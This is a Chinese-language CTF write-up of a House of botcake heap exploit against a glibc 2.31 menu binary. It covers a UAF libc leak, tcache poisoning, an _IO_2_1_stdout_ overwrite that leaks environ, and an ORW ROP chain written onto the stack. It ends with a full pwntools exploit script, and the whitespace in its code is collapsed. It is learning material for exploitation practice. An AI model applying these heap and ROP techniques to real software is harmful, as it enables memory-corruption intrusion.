House of botcake
难死我了!
IDA分析
main函数
有一次UAF的机会来泄露libc也只有一次机会打印出libc
刚好分配到unsored bin来泄露
依旧全保护
根据程序写出自动化脚本
frompwnimport*libdir='/home/ubuntu/glibc-all-in-one/libs/2.31-0ubuntu9_amd64'ld=libdir+'/ld-2.31.so'# 动态链接器路径vn_path='./pwn'# 可执行文件路径(已用 xclibc 处理过的副本)# 使用目标 glibc 的 ld 启动程序(不要使用 LD_PRELOAD 整个 libc)p=process([ld,'--library-path',libdir,vn_path])#p = remote('node5.buuoj.cn',28244)elf=ELF(vn_path)libc=ELF(libdir+'/libc-2.31.so')defdebug():gdb.attach(p)pause()defadd(size,content):p.sendlineafter(b'Choice: ',b'1')p.sendlineafter(b'Please input size: ',str(size))p.sendlineafter(b'Please input content: ',content)defdelete(index):p.sendlineafter(b'Choice: ',b'2')p.sendlineafter(b'Please input idx: ',str(index))defshow(index):p.sendlineafter(b'Choice: ',b'3')p.sendlineafter(b'Please input idx: ',str(index))defbackdoor(index):p.sendlineafter(b'Choice: ',b'666')p.sendlineafter(b'Please input idx: ',str(index))add一个看看写得对不对
add(0x20,b'a')
okok,第一步是泄露libc地址,依旧填满tcache[0x90],然后利用uaf然后show出来地址算出libc_base
foriinrange(9):add(0x80,b'aaaa')#0-8add(0x10,b'bbbb')#aviod be mergeforiinrange(7):delete(i)
接下来用backdoor然后接收地址
backdoor(8)show(8)leak=u64(p.recvuntil(b'\x7f',drop=False)[-6:].ljust(8,b'\x00'))log.info('leak:'+hex(leak))
这里会检查free_hook和malloc_hook是否被劫持
也禁用了execve
我们先进行tcache poisoning 这也是我们现在唯一能做的
#poisoningdelete(7)
可以看到两个0x90的chunk合并成了0x121
现在从tcache里面申请出一个chunk,准备double free chunk8
add(0x80,b'cccc')#0
然后去造成堆重叠
现在就是堆重叠了,我们可以能让 malloc() 返回到任意地址,现在覆盖hook不行,那么常规思路就是去搞environ,怎么去泄露environ呢,我们已经没有程序提供输出的东西了,这时候就是_IO_2_1_stdout_结构体。
需要一个“把任意写转换成任意读/信息泄露”的中间媒介。
glibc 里最合适的媒介之一,就是 stdio 的 FILE:
- 程序必然会输出(菜单、Done、Error),意味着 stdout 的内部函数一定会被频繁调用(puts/printf/write/fflush 等)
- stdout 对应的 IO_2_1_stdout 是 libc 里的一个全局对象(地址 = libc_base + 常量偏移),你已经通过 unsorted 得到了 libc_base,因此能定位 stdout 的精确地址
- FILE 结构里有大量指针字段,控制“缓冲区在哪、指针走到哪、可读/可写范围是多少”
- 如果你把这些指针改到你想泄露的地址(例如 &environ),libc 可能会把那块内存当作“要输出的缓冲区内容”吐给你
stdout 是一个 struct _IO_FILE_plus(FILE + vtable 指针)的大对象
_flags
第一个 8 字节一般是 _flags(低位包含状态位),正常 stdout 里这是一个“看起来像随机”的值,但它代表了:
- 是否读/写
- 是否 error/eof
- 缓冲模式
- 各种内部状态
FILE 里有一组典型字段(命名随版本略有变化): - _IO_read_base
- _IO_read_ptr
- _IO_read_end
- _IO_write_base
- _IO_write_ptr
- _IO_write_end
- _IO_buf_base
- _IO_buf_end
这些字段决定了: - 读模式时,从哪里读、读到哪
- 写模式时,哪些数据算“待输出”、输出上限是多少
- 缓冲区到底在哪一段内存
stdout 正常情况下,这些指针通常指向 libc 为 stdout 分配/管理的缓冲区(有的情况下是 NULL 表示未分配或无缓冲)。
fileno / lock / vtable
stdout 的 fileno 通常是 1;还有 _lock 指针、以及结尾的 vtable 指针指向 libc 内部的 _IO_file_jumps 等。
stdout 泄露的核心原理:控制“libc 输出时读的缓冲区范围
- 用 _flags = 0xfbad1800 把 FILE 强行切到一种“异常/读写混乱但可触发输出”的状态(这是很多题里验证过的“好用的 flags 组合”,不要求你完全记住每一位含义,但要知道它在 IO 代码路径里会让 libc 进入某种可泄露分支)。
- 把某些指针字段(常见是 read/write/buf 指针)设置为:
- base = addr
- ptr/end = addr+8(或相近)
- 当 libc 下一次对 stdout 做某种输出/刷新时,它会认为:
- “缓冲区里有一段待处理的数据”
- 而那段数据的地址范围正是你指定的 [addr, addr+8)
于是 stdout 就会把那 8 字节原封不动地写到网络/终端输出中。你再用 recvuntil(b’\x7f’) 截到地址尾部,就拿到了内存泄露。
为什么选择泄 environ?——stdout 泄露需要一个“你已知地址”的目标
stdout 泄露的前提是:你要给它一个 addr,也就是“你想读哪里的 8 字节”。
但你想最终得到的是栈地址,而栈地址本身是 ASLR 随机的,你不知道它具体是多少,所以不能直接让 stdout 读“某个栈地址”。
因此需要一个“地址你知道,但里面存的是栈地址”的对象。environ 完全满足:
- 你已经有 libc_base
- &environ = libc_base + libc.sym[‘environ’] 是确定的
- *(environ) 是栈地址(argv/envp 在栈上)
所以让 stdout 泄露 *(environ) 非常自然:
stdout leak 只能读“你能定位的地址”,而 &environ 恰好是你能定位且能导出栈地址的指针。
stout=libc_base+libc.sym["_IO_2_1_stdout_"]environ=libc_base+libc.sym["environ"]tcache poisoning(能改 next)
当可以对“已 free 的 chunk8”写入其用户区前 8 字节(tcache next 指针位置),就能把它的 next 指到任意地址:
*(chunk8_user)=target然后 malloc(sz) 就会返回 target
因为程序没有 edit / 不能直接对 free chunk 写,所以用 chunk overlap(2 覆盖 3) 这种方式,间接把“free chunk 的 next”改成 IO_stdout。
在 glibc 2.31 的 tcache 中:
- chunk free 后,它的 用户区起始 8 字节被用作 tcache_entry->next(单链表指针)
- 所以 “tcache poisoning” 需要你能做到:
//free(chunk3);*(uint64_t*)chunk3_user=target;//target=&_IO_2_1_stdout_你这题没有 edit,所以你必须想办法让某一次 add 的 read 写到 chunk3_user[0:8]。
payload=p64(0)+p64(0x91)+p64(stout)add(0x70,b"aaaa")# idx=1add(0x70,payload)# idx=2 (payload里带 0x91 和 IO_stdout)
再从tcache里面申请一个chunk来覆写fd
add(0x80,b"bbbbb")# idx=3 (注释:2和3地址差0x10,所以2可覆盖3)payload2=p64(0xfbad1800)#flagpayload2+=p64(0)#_IO_read_ptrpayload2+=p64(0)#_IO_read_endpayload2+=p64(0)#_IO_read_basepayload2+=p64(environ)#_IO_write_basepayload2+=p64(environ+8)#_IO_write_ptrpayload2+=p64(environ+8)#_IO_write_endadd(0x80,payload2)stdout 的写缓冲区区间是 [write_base, write_ptr)
也就是 [environ, environ+8),长度正好 8 字节。
当 stdout 被刷新/溢出处理时,会把这 8 字节写到真实 fd=1 输出。
现在去接收这个地址
现在拿到的 stack(其实是 *(environ) 的值),我们接下来怎么办呢,打ORW,也就是执行层,我们现在的都是数据层,我们要执行
- open(“./flag”, 0)
- read(fd, buf, 0x40)
- write(1, buf, 0x40) 或 puts(buf)
也就是说:你要能控制 CPU 的 RIP 走你想走的 gadget/函数。否则你只是“能写内存”,并不会自动打印 flag。
常见控制流入口有:
A. Hook / 函数指针(__free_hook、vtable、回调指针) - 优点:不需要栈地址(有时)
- 缺点:本题约束多、触发点不一定稳定;而且你选择 ORW 通常要一串 ROP,hook 触发往往只能做一次函数调用,后续还得二次控制流
B. GOT 劫持 - 受 RELRO 影响(Full RELRO 不行)
- 且你还是需要让程序“恰好调用到被你劫持的函数”,不一定方便
C. 覆盖返回地址(saved RIP) - 优点:几乎所有程序都必然返回,尤其 Add 函数每次执行完都会 ret 回主循环
- 你可以把返回地址改成 pop rdi; ret 等 gadget,直接进入 ROP 链
- 这是最标准、最通用的“从写内存到拿 shell/拿 flag”的转化点
A已经被ban了,受 RELRO 影响,GOT也不行,那就只能选C
Add(sub_138A)非常适合当入口: - 它每次都会从 main 调用,然后返回到主菜单循环
- 可以通过 tcache poisoning 把一次 malloc 的返回地址指向 Add 的栈帧附近,让 read 把数据写进栈
- 当 Add 执行到结尾 leave; ret 时,CPU 就会从你覆盖的返回地址跳走
在 x86-64 上: - leave 等价于:
- mov rsp, rbp
- pop rbp
- ret 等价于:
- pop rip(从 [rsp] 取 8 字节作为下一条指令地址)
栈高地址[局部变量...][saved RBP]<--leave 会 pop 走[saved RIP]<--ret 会跳到这里(你要覆盖的就是它) 栈低地址- 控制 RIP → 跳到 pop rdi; ret
- 在栈上按顺序放好参数 + 函数地址:
- open
- read
- write/puts
每执行一个 ret,RIP 都被更新为栈上的下一个 gadget/函数地址,寄存器被设置成你希望的值,最终完成文件读取并输出 flag。
现在我们来测这个值跟我们泄露值的偏移
delta=0x7fffffffdfa0-0x7fffffffded8=0xC8然后我们进行第二次tcache poisoning(把 malloc 目标打到栈上)
最终做到:
- 有一次 malloc 返回 attacker(这样你能写它的 tcache next)
- 在下一次 malloc 返回 target(栈上的 ret_slot)
delete(2)但是我这里程序崩溃了,我感觉是我打的补丁的版本和题目还是有差异,现在直接用题目的
先把偏移改一改
破案不是补丁什么的而是
p.sendlineafter(b'Please input content: ',content)多输入一个字符越界了
。。。
stack新偏移0x128
再继续tcache poisoning
delete(3)delete(2)payload3=p64(0)+p64(0x91)+p64(stack)add(0x70,payload3)#2add(0x80,b'dddd')#3接下来直接打ORW就行
read_addr=libc_base+libc.sym['read']open_addr=libc_base+libc.sym['open']write_addr=libc_base+libc.sym['write']pop_rdi=libc_base+0x0000000000023b6apop_rsi=libc_base+0x000000000002601fpop_rdx=libc_base+0x0000000000142c92flag_addr=stack_addr set_addr=stack_addr+0x200p4=b'./flag\x00\x00'# open('./flag', 0)p4+=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(open_addr)# read(3, set_addr, 0x50)p4+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(set_addr)+p64(pop_rdx)+p64(0x50)+p64(read_addr)# puts(set_addr)puts_addr=libc_base+libc.sym['puts']p4+=p64(pop_rdi)+p64(set_addr)+p64(puts_addr)add(0x80,p4)
EXP:
frompwnimport*context.clear(arch='amd64',os='linux')context.binary='./pwn'binpath='./pwn'ld='./ld.so'libc_path='./libc.so.6'#p = process([ld, '--library-path', '.', binpath])p=remote('node4.anna.nssctf.cn',28207)elf=ELF(binpath)libc=ELF(libc_path)defdebug():gdb.attach(p)pause()defadd(size,content):p.sendlineafter(b'Choice: ',b'1')p.sendlineafter(b'Please input size: ',str(size))p.sendafter(b'Please input content: ',content)defdelete(index):p.sendlineafter(b'Choice: ',b'2')p.sendlineafter(b'Please input idx: ',str(index))defshow(index):p.sendlineafter(b'Choice: ',b'3')p.sendlineafter(b'Please input idx: ',str(index))defbackdoor(index):p.sendlineafter(b'Choice: ',b'666')p.sendlineafter(b'Please input idx: ',str(index))foriinrange(9):add(0x80,b'aaaa')#0-8add(0x10,b'bbbb')#aviod be mergeforiinrange(7):delete(i)#0-6backdoor(8)show(8)leak=u64(p.recvuntil(b'\x7f',drop=False)[-6:].ljust(8,b'\x00'))log.info('leak:'+hex(leak))offset=0x1ecbe0libc_base=leak-offset log.info('libc_base:'+hex(libc_base))#debug()#poisoningdelete(7)add(0x80,b'cccc')#0delete(8)stout=libc_base+libc.sym["_IO_2_1_stdout_"]environ=libc_base+libc.sym["environ"]payload=p64(0)+p64(0x91)+p64(stout)add(0x70,b"aaaa")# idx=1add(0x70,payload)# idx=2 (payload里带 0x91 和 IO_stdout)add(0x80,b"bbbbb")# idx=3 (注释:2和3地址差0x10,所以2可覆盖3)payload2=p64(0xfbad1800)#flagpayload2+=p64(0)#_IO_read_ptrpayload2+=p64(0)#_IO_read_endpayload2+=p64(0)#_IO_read_basepayload2+=p64(environ)#_IO_write_basepayload2+=p64(environ+8)#_IO_write_ptrpayload2+=p64(environ+8)#_IO_write_endadd(0x80,payload2)#4environ=u64(p.recvuntil(b'\x7f',drop=False)[-6:].ljust(8,b'\x00'))log.info('stack:'+hex(environ))#debug()offset2=0x128stack_addr=environ-offset2 delete(3)delete(2)payload3=p64(0)+p64(0x91)+p64(stack_addr)add(0x70,payload3)#2add(0x80,b'dddd')#3read_addr=libc_base+libc.sym['read']open_addr=libc_base+libc.sym['open']write_addr=libc_base+libc.sym['write']read_addr=libc_base+libc.sym['read']open_addr=libc_base+libc.sym['open']write_addr=libc_base+libc.sym['write']pop_rdi=libc_base+0x0000000000023b6apop_rsi=libc_base+0x000000000002601fpop_rdx=0x0000000000142c92+libc_base flag_addr=stack_addr set_addr=stack_addr+0x200p4=b'./flag\x00\x00'# open('./flag', 0)p4+=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(open_addr)# read(3, ppp, 0x50)p4+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(set_addr)+p64(pop_rdx)+p64(0x50)+p64(read_addr)# puts(set_addr )puts_addr=libc_base+libc.sym['puts']p4+=p64(pop_rdi)+p64(set_addr)+p64(puts_addr)add(0x80,p4)#debug()p.interactive()